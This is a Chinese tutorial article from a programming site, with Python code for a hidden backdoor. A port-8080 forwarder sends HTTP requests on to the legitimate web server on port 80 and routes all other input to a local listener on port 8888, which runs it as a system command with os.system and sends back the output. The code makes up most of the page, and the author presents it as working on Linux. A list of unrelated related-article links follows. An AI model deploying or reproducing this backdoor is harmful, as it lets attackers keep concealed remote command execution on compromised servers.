python基于socket進(jìn)行端口轉(zhuǎn)發(fā)實現(xiàn)后門隱藏的示例
思想:
用戶正常瀏覽器訪問請求通過8080端口,請求若為http請求,則正常轉(zhuǎn)發(fā)到80端口保證網(wǎng)站正常運行。否則轉(zhuǎn)發(fā)到8888端口執(zhí)行系統(tǒng)命令。
8888端口監(jiān)聽代碼:
#!/usr/bin/env python
from socket import *
import os
HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)
tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)
while True:
print("waiting for connection...")
tcpCliSock,addr = tcpSerSock.accept()
print("...connected from:",addr)
while True:
data=tcpCliSock.recv(BUFSIZE)
if not data:
break
info = data.split('\n')
command = info[0]
try:
os.system(command + " > command.txt");
file = open('command.txt')
data =""
for line in file:
data=data+line;
tcpCliSock.send(data)
except Exception:
tcpCliSock.send("Nothing to do")
tcpCliSock.close()
tcpSerSock.close()
8080端口轉(zhuǎn)發(fā)代碼:
#!/usr/bin/python
from socket import *
tcp1 = socket(AF_INET,SOCK_STREAM)
tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)
BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
data = tcpCliSock.recv(BUFFER_SIZE)
if 'HTTP' in data:
tcp3 = socket(AF_INET,SOCK_STREAM)
tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcp3.connect(('127.0.0.1',80))
tcp3.send(data)
htmlinfo = tcp3.recv(2048)
if not htmlinfo:
tcp3.close()
else:
tcpCliSock.send(htmlinfo)
else:
tcp2 = socket(AF_INET,SOCK_STREAM)
tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcp2.connect(('127.0.0.1',8888))
data = data.replace("\n"," ")
print data
tcp2.send(data)
commandinfo = tcp2.recv(1024)
tcpCliSock.send(commandinfo)
tcp2.close()
tcpCliSock.close()
tcp1.close()
有些地方還有些小問題等待修正,但是linux下是可以完美運行的。歡迎學(xué)習(xí)交流。
以上這篇python基于socket進(jìn)行端口轉(zhuǎn)發(fā)實現(xiàn)后門隱藏的示例就是小編分享給大家的全部內(nèi)容了,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關(guān)文章
python實現(xiàn)Dijkstra算法的最短路徑問題
這篇文章主要介紹了python實現(xiàn)Dijkstra算法的最短路徑問題,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-06-06
python3之讀取redis數(shù)據(jù)帶有‘b’的問題
這篇文章主要介紹了python3之讀取redis數(shù)據(jù)帶有‘b’的問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教2023-09-09
詳解python中@classmethod和@staticmethod方法
在python類當(dāng)中,經(jīng)常會遇到@classmethod和@staticmethod這兩個裝飾器,那么到底它們的區(qū)別和作用是啥子呢?本文結(jié)合場景分析給大家詳細(xì)講解,感興趣的朋友跟隨小編一起看看吧2022-10-10
python人工智能tensorflow函數(shù)tensorboard使用方法
這篇文章主要為大家介紹了python人工智能tensorflow函數(shù)tensorboard使用方法,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-05-05
Win10下安裝并使用tensorflow-gpu1.8.0+python3.6全過程分析(顯卡MX250+CUDA9.
這篇文章主要介紹了Win10下安裝并使用tensorflow-gpu1.8.0+python3.6全過程(顯卡MX250+CUDA9.0+cudnn),本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價值,需要的朋友可以參考下2020-02-02
Python使用multiprocessing創(chuàng)建進(jìn)程的方法
這篇文章主要介紹了Python使用multiprocessing創(chuàng)建進(jìn)程的方法,實例分析了multiprocessing模塊操作進(jìn)程的相關(guān)技巧,需要的朋友可以參考下2015-06-06

